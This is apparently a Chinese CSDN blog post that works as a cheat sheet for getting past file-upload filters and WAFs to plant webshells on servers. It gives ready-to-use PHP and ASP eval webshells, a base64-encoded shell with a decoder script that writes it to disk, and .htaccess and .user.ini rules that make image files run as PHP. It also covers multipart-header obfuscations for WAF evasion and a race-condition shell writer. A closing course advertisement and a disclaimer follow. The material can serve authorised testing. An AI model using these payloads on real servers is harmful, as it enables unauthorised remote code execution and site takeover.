首页 > 其他分享 >文件上传绕过速查

文件上传绕过速查

时间:2024-05-30 16:33:39浏览次数:23  
标签:form 上传 filename Content Disposition 速查 php data 绕过

我这里就分为两种吧,一种是基于代码限制的,一种基于防火墙,其实总的来看两者差不多,都是检测文件合法性,但是两者区别开来,在实际应用中信息收集之后对于一个网站的防护措施有了了解后,能够更精准的选择上传绕过方式。

(本篇都使用php一句话木马作为示例)

 

前端JS限制文件后缀

限制只能上传规定后缀文件,绕过方式:

1.禁用检测文件后缀的JS代码

2.上传正常格式文件,抓包修改文件的filename为脚本格式

Content-type限制

后台校验上传文件的Content-type是否为指定值,绕过方式:

1.上传时抓包修改Content-type

2.上传正常格式文件,抓包修改文件的filename为脚本格式

文件后缀黑名单检测限制

1.大小写绕过,例如黑名单中为.php,那么可以上传.PHP或者.Php来绕过黑名单

2.“. ”“_”号和空格绕过,(只适用于Windows系统)Windows系统下,文件名后缀最后一个“.”“_”和空格会被自动去除,例如黑名单为.php,那么可以上传.php.,.php_或者.php 来绕过黑名单,Windows在解析时会删除最后一个.和_还有空格

3.::$DATA绕过,(只适用于Windows系统)在Windows的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名

4.双写绕过,有些函数会替换敏感文件名,但不递归删除的话就可以双写绕过,例如a.phphpp,php被替换为空后就成了a.php

5.00截断绕过,上传时上传a.php.jpg,抓包在php后添加一个字符修改其HEX值为00,这样解析之后就是a.php了,也绕过了黑名单; 常见于ASP程序,JSP也会出现 PHP限制条件: php<5.3.4 php.ini中的magic_quotes_gpc设置为OFF

6.上传可解析的扩展文件名,例如:

asp/aspx: asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr

php : php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml

jsp : jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml

可利用burp fuzz测试

7..htaccess和.user.ini绕过黑名单

.htaccess使用条件:

.htaccess只适用apache ①、Allow Override All ②、LoadModule rewrite_module modules/mod_rewrite.so #rewrite模块为开启状态

.htaccess内容:

AddType application/x-httpd-php .jpg
将所有后缀为.jpg的文件作为php文件解析
<FilesMatch "BaiZe">
setHandler application/x-httpd-phpBZ
</FilesMatch>  
将所有文件名包含BaiZe的文件作为php文件解析

.user.ini使用条件:

①.user.ini适用于服务器使用CGI/FastCGI模式且目录下要有可执行的php文件

.user.ini内容:

auto_prepend_file=a.jpg
a.jpg中符合php语言的代码会被执行

文件头限制

文件头检测,上传图片马,在修改后缀为可解析脚本语言;或者上传一句话木马在文件中添加正常格式文件头例如:GIF89a

危险函数检测

一般为waf对上传文件的内容进行检测

1.使用动态调用绕过,例如:

<?php $_GET['0']($_GET['1']);?>
此方法不能绕过disable_function

2.上传编码后的webshell配合.htaccess来解析

3.上传编码后的webshell,再另外上传一个脚本文件解码webshell并写入新文件,例如下面这段代码为1.php

PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=

上传后再上传下面为2.php

<?php 
​
$path ="/xx/xxx/xx/1.php";
​
$str= file_get_contents($path);
​
$strs = base64_decode($str);
​
$test = fopen("./test.php","w");test
test
fwrite($test,$strs);
fclose($test);
?>

然后访问后再访问test.php即可getshell

WAF拦截绕过

常用的黑名单绕过方法也适用于部分waf,更多的是需要配合使用才能成功上传,主要思路为接收文件名和waf的检测有所差异,只要是服务器能接收并解析,怎样能绕过waf的检测都可以。

例如00截断,文件名+;号,文件名+'号,上传hatccess和user.ini,上面概述过的这里不再重复,使用时应配合使用

1.换行绕过检测,例如

Content-Disposition: form-data; name="file"; filename="1.p
hp"
Content-Disposition: form-data; name="file"; file
name="1.php"
Content-Disposition: form-data; name="file"; filename=
"1.php"
三种均可

2.多个等号绕过检测,例如

Content-Disposition: form-data; name="file"; filename==="a.php"

3.增大文件大小,类似于sql注入的垃圾字符绕waf,例如

Content-Disposition: form-data; aaaaaaaaaaaaaaaaaaaaa......aaaaaaaaaaaaaaaaaaaaa;name="file"; filename="a.php"

4.去掉或替换引号绕过waf

Content-Disposition: form-data; name=file1; filename=a.php
Content-Disposition: form-data; name='file1'; filename="a.php"

4.增加filename干扰拦截,例如

Content-Disposition: form-data; name="file"; filename= ;  filename="a.php"

5.混淆waf匹配字段,例如

混淆form-data

Content-Disposition: name="file"; filename="a.php"
去除form-data
Content-Disposition: AAAAAAAA="BBBBBBBB"; name="file";  filename="a.php"
替换form-data为垃圾值
Content-Disposition: form-data   ; name="file"; filename="a.php"
form-data后加空格
Content-Disposition: for+m-data; name="file"; filename="a.php"
form-data中加+

混淆ConTent-Disposition

COntEnT-DIsposiTiOn: form-data; name="file"; filename="a.php"
大小写混淆
Content-Type: image/gif
Content-Disposition: form-data; name="file";  filename="a.php"
调换Content-Type和ConTent-Disposition的顺序
Content-Type: image/gif
Content-Disposition: form-data; name="file";  filename="a.php"
Content-Type: image/gif
增加额外的头
AAAAAAAA:filename="aaa.jpg";
Content-Disposition: form-data; name="file";  filename="a.php"
Content-Type: image/gif
增加额外的头
Content-Length: 666
Content-Disposition: form-data; name="file";  filename="a.php"
Content-Type: image/gif
增加额外的头

6.双文件绕过,例如安全狗总以最后一个Content-Disposition中的值做为接收参数进行检测,一些中间件例如IIS6.0总是以第一个Content-Disposition中的值做为接收参数。

7.容器与WAF对Boundary要求规则不一致

Content-Type: multipart/form-data; boundary=---------------------------471****1141173****525****99
Content-Length: 253
-----------------------------471****1141173****525****99
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
<%eval request("a")%>
-----------------------------471****1141173****525****99--

一些WAF会认为两段Boundary不一致的数据是无意义的,不进行检测,而容器并没有严格要求,正常接收数据。

8.条件竞争,一些情况下在上传文件时,先上传到临时目录,然后再检测,检测到再删除,例如:可以上传生成一句话木马的文件

fputs(fopen('shell6666.php','w'),'<?php @eval($_POST[1])?>');

上传同时疯狂重复发包访问此文件,就有可能会在文件被删除之前生成webshell文件a.php

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题

 

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击) 

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

标签:form,上传,filename,Content,Disposition,速查,php,data,绕过
From: https://blog.csdn.net/2401_84466223/article/details/139289859

相关文章

  • SQL注入速查表
    过滤andoror  ——> ||and  ——> &&xor——>| not——>!十六进制绕过or——>o\x72大小写绕过OraNd双写绕过oorrananddurlencode,ascii(char),hex,unicode编码绕过一些unicode编码举例:单引号:'%u0027%u02b9%u02bc%u02c8%u2032%uff......
  • 五种不寻常的身份验证绕过技术
    身份验证绕过漏洞是现代web应用程序中普遍存在的漏洞,也是隐藏最深很难被发现的漏洞。为此安全防护人员不断在开发新的认证方法,保障组织的网络安全。尽管单点登录(SSO)等工具通常是对旧的登录用户方式的改进,但这些技术仍然可能包含严重的漏洞。无论是业务逻辑错误还是其他软件......
  • 一次绕过waf进行xss的经历
    今天室友遇到一个好玩的网站,下面是一些尝试绕过Waf进行XSS的记录。首先该网站没有对左右尖号和单双引号做任何过滤或转义。且有未知的waf或者其他阻止恶意访问的手段。 首先我的访问为login.asp?f=1时候,页面关键源码为可能是表示登录次数的一个东西?(猜测)现在我们知道的......
  • 关于前端上传excell时间的问题
    当前端导入excell里的数据时,只能获取到下面类似的这种数据Excel存储的日期是从1900年1月1日开始按天数来计算的,也就是说1900年1月1日在Excel中是1。转化的思路和对Excel中的错误的处理因为时间戳是从1970年1月1日算起的(时间戳为0的时候是1970年1月1日)也就是说newDate(0).toLo......
  • 基于Spring Boot框架的分页查询和文件上传
    分页查询分析要想从数据库中进行分页查询,我们要使用LIMIT关键字,格式为:limit开始索引每页显示的条数假设一页想展示10条数据 查询第1页数据的SQL语句是:select*fromemplimit0,10;查询第2页数据的SQL语句是:select*fromemplimit10,10;查询第3页的数据的SQL......
  • Springboot本地+oss存储文件上传
    一、本地上传二、oss上传一:本地上传废话不多说直接搂代码html:<body><formmethod="post"enctype="multipart/form-data"id="form"><inputtype="file"name="xxx"id="xxx"></form><inputt......
  • 【Mac】关于Mac的github配置和本地项目上传
    目录前言什么是github?有什么用?github个人账户创建Mac的git环境配置生成密钥将密钥添加到github创建github仓库将本地文件上传至github仓库一些常用的git命令总结前言  本文主要介绍了Mac的git环境配置,github仓库的创建,本地文件上传到github仓库以及常用的git命......
  • WEB入门 - 文件上传
    WEB入门-文件上传参考文章https://fushuling.com/index.php/2023/08/20/ctfshow刷题记录持续更新中/https://www.cnblogs.com/sen-y/p/15579078.htmlhttp://i0921.cn/blog/5dc52b0aba304f6314a9229f/662062c9ed9f76063b6ceb80web151<buttontype="button"class="layui......
  • AJ-Report 认证绕过与远程代码执行漏洞(CNVD-2024-15077)
    AJ-Report是全开源的一个BI平台。在其1.4.0版本及以前,存在一处认证绕过漏洞,攻击者利用该漏洞可以绕过权限校验并执行任意代码。补丁对比方法一从docker拖出代码,去gitee下载发行版,便于对比编译后的class。方法二查看git的commit记录,可以直接看到修改了哪些内容!后面要去学习......
  • Arduino实现温湿度传感器以及数据上传到云(乐维互联)
    0准备材料0.1ESP-01S引脚及定义官方定义:序号pin功能1GND地线2IO0/GPIO0工作模式选择:①悬空:FlashBoot,工作模式②下拉:UARTDownLoad下载模式3IO2/GPIO2通用IO4RX/RXD数据接收端5TX/TXD谁发送端63V3/VCC3.3V,模块供电7RST1)外......